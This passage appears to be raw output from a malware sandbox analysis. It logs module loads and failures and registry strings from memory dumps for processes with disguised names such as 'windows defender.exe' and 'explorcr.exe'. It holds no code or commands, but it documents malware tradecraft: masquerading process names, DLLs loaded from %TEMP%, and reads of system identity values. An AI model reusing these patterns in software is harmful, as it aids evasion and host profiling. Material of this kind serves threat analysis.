Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%TEMP%\NTdll.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%TEMP%\avicap32.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%TEMP%\SHCore.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "windows defender.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "explorcr.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135]3f:T1fcd,"Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005868.00000000.154394.00409000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "stry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\" in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\" in Source: 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "Y\MACHINE\Software\Microsoft\Str" in Source: 00000000-00006308.00000000.154569.028D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Servi-(" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "\Registry\Machine\Software\Classes\C" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006308.00000001.156488.46B30000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006308.00000001.156488.46B30000.00000004.mdmp "e\Software\C" in Source: 00000000-00006668.00000001.156457.029D0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006668.00000001.156457.029D0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparati" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Servi" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "2Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "\Software\CI" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "istry\Machine\Software\Clasq" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "\Software\WOW6432Node\Microsoft\StrongName\RevokedKeys" in Source: 00000000-00007364.00000000.154601.036D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp "\Software\WOW6432Node\Microsoft\StrongName\RevokedKeys" in Source: 00000000-00007364.00000002.157710.036D0000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007364.00000002.157710.46B30000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00007364.00000002.157710.46B30000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007948.00000002.159337.001B1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007948.00000002.159337.001B1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007948.00000002.159337.001B1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007948.00000002.159337.001B1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007948.00000002.159337.001B1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007948.00000002.159337.001B1000.00000020.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007948.00000002.159337.032E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007948.00000002.159337.032E0000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007948.00000002.159337.04E40000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00007948.00000002.159337.04E40000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007948.00000003.159704.03331000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007948.00000003.159704.03331000.00000004.mdmp40:T88bf,"Launcher.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75f60000 "Launcher.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75f60000 "Launcher.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75f60000 "Launcher.exe" loaded module "KERNEL32" at base 76ab0000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73710000 "Launcher.exe" loaded module "KERNEL32.DLL" at base 76ab0000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 731b0000 "Launcher.exe" loaded module "NTDLL.DLL" at base 77240000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 73dd0000 "Launcher.exe" loaded module "SHELL32.DLL" at base 74940000 "Launcher.exe" loaded module "RPCRT4.DLL" at base 76b80000 "Launcher.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72d90000 "Launcher.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74940000 "Launcher.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76ab0000 "Launcher.exe" loaded module "USER32.DLL" at base 74450000 "Launcher.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73550000 "Launcher.exe" loaded module "MSISO.DLL" at base 72d30000 "Launcher.exe" loaded module "SSPICLI.DLL" at base 73c60000 "Launcher.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 75f60000 "Launcher.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73bb0000 "Build.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75f60000 "Build.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75f60000 "Build.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75f60000 "Build.exe" loaded module "KERNEL32" at base 76ab0000 "Build.exe" loaded module "ADVAPI32.DLL" at base 771a0000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72760000 "Build.exe" loaded module "SHLWAPI.DLL" at base 75f10000 "Build.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76240000 "Build.exe" loaded module "VERSION.DLL" at base 73980000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 71fb0000 "Build.exe" loaded module "USER32.DLL" at base 74450000 "Build.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75f60000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "Build.exe" loaded module "MSCOREE.DLL" at base 727f0000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 767f0000 "Build.exe" loaded module "RPCRT4.DLL" at base 76b80000 "Build.exe" loaded module "KERNEL32.DLL" at base 76ab0000 "Build.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70160000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "Build.exe" loaded module "OLE32.DLL" at base 75dd0000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "Build.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 767f0000 "Build.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 75f60000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71e50000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "Build.exe" loaded module "SHELL32.DLL" at base 74940000 "Build.exe" loaded module "NTDLL.DLL" at base 77240000 "Build.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6f700000 "Build.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6eee0000 "Build.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.NET.HTTP\C1F72F0CA85CB675A88EFE8F2067F7C8\SYSTEM.NET.HTTP.NI.DLL" at base 71dc0000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 71d90000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "Build.exe" loaded module "SSPICLI.DLL" at base 73c60000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "Build.exe" loaded module "BCRYPT.DLL" at base 72fe0000 "Build.exe" loaded module "ADVAPI32" at base 771a0000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 729b0000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 748b0000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73bb0000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "Build.exe" loaded module "IPHLPAPI.DLL" at base 73b80000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "Build.exe" loaded module "WS2_32.DLL" at base 76a40000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72f10000 "Build.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 71c80000 "Build.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6e760000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 72980000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 72960000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 71c60000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 72950000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 71c50000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 71c00000 "Build.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73710000 "Build.exe" loaded module "GDI32.DLL" at base 76d30000 "Build.exe" loaded module "GDIPLUS.DLL" at base 739a0000 "Build.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 739a0000 "Build.exe" loaded module "WINDOWSCODECS.DLL" at base 71570000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "Build.exe" loaded module "COMBASE.DLL" at base 767f0000 "Build.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 767f0000 "Build.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "Build.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 719e0000 "Build.exe" loaded module "SECUR32.DLL" at base 719f0000 "Build.exe" loaded module "MSKEYPROTECT.DLL" at base 71970000 "System Properties.exe" loaded module "KERNEL32" at base 7ff8d4bf0000 "System Properties.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff8d2b10000 "System Properties.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff8d2b10000 "System Properties.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff8d2b10000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff8d4e20000 "System Properties.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8d2b10000 "System Properties.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8d2b10000 "System Properties.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8d2b10000 "System Properties.exe" loaded module "ADVAPI32.DLL" at base 7ff8d4a30000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff8beb80000 "System Properties.exe" loaded module "SHLWAPI.DLL" at base 7ff8d58c0000 "System Properties.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8d1f40000 "System Properties.exe" loaded module "VERSION.DLL" at base 7ff8c8630000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff8a5f70000 "System Properties.exe" loaded module "USER32.DLL" at base 7ff8d59c0000 "System Properties.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8d2b10000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "System Properties.exe" loaded module "MSCOREE.DLL" at base 7ff8beca0000 "System Properties.exe" loaded module "NTDLL" at base 7ff8d5b80000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8d5470000 "System Properties.exe" loaded module "RPCRT4.DLL" at base 7ff8d45f0000 "System Properties.exe" loaded module "KERNEL32.DLL" at base 7ff8d4bf0000 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff8a4970000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "System Properties.exe" loaded module "OLE32.DLL" at base 7ff8d44a0000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8d0550000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "System Properties.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8d5470000 "System Properties.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8d2b10000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8a4820000 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8a3bb0000 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff8a2f30000 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ff8a1c50000 "System Properties.exe" loaded module "SSPICLI.DLL" at base 7ff8d1dd0000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "System Properties.exe" loaded module "BCRYPT.DLL" at base 7ff8d1a30000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8d1370000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8d2fd0000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "System Properties.exe" loaded module "PSAPI.DLL" at base 7ff8d4490000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "System Properties.exe" loaded module "SHELL32.DLL" at base 7ff8d3050000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ff8ccd10000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff8d21a0000 "System Properties.exe" loaded module "NTDLL.DLL" at base 7ff8d5b80000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff8ce2b0000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ff8c3a10000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ff8d3050000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff8c6d90000 "System Properties.exe" loaded module "MSISO.DLL" at base 7ff8b9820000 "System Properties.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff8d2b10000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff8d02d0000 "System Properties.exe" loaded module "SXS.DLL" at base 7ff8d1d30000 "System Properties.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff8c0bb0000 "System Properties.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "System Properties.exe" loaded module "OLEAUT32.DLL" at base 7ff8d4ca0000 "System Properties.exe" loaded module "CSCAPI.DLL" at base 7ff8c4340000 "System Properties.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ff8a39b0000 "System Properties.exe" loaded module 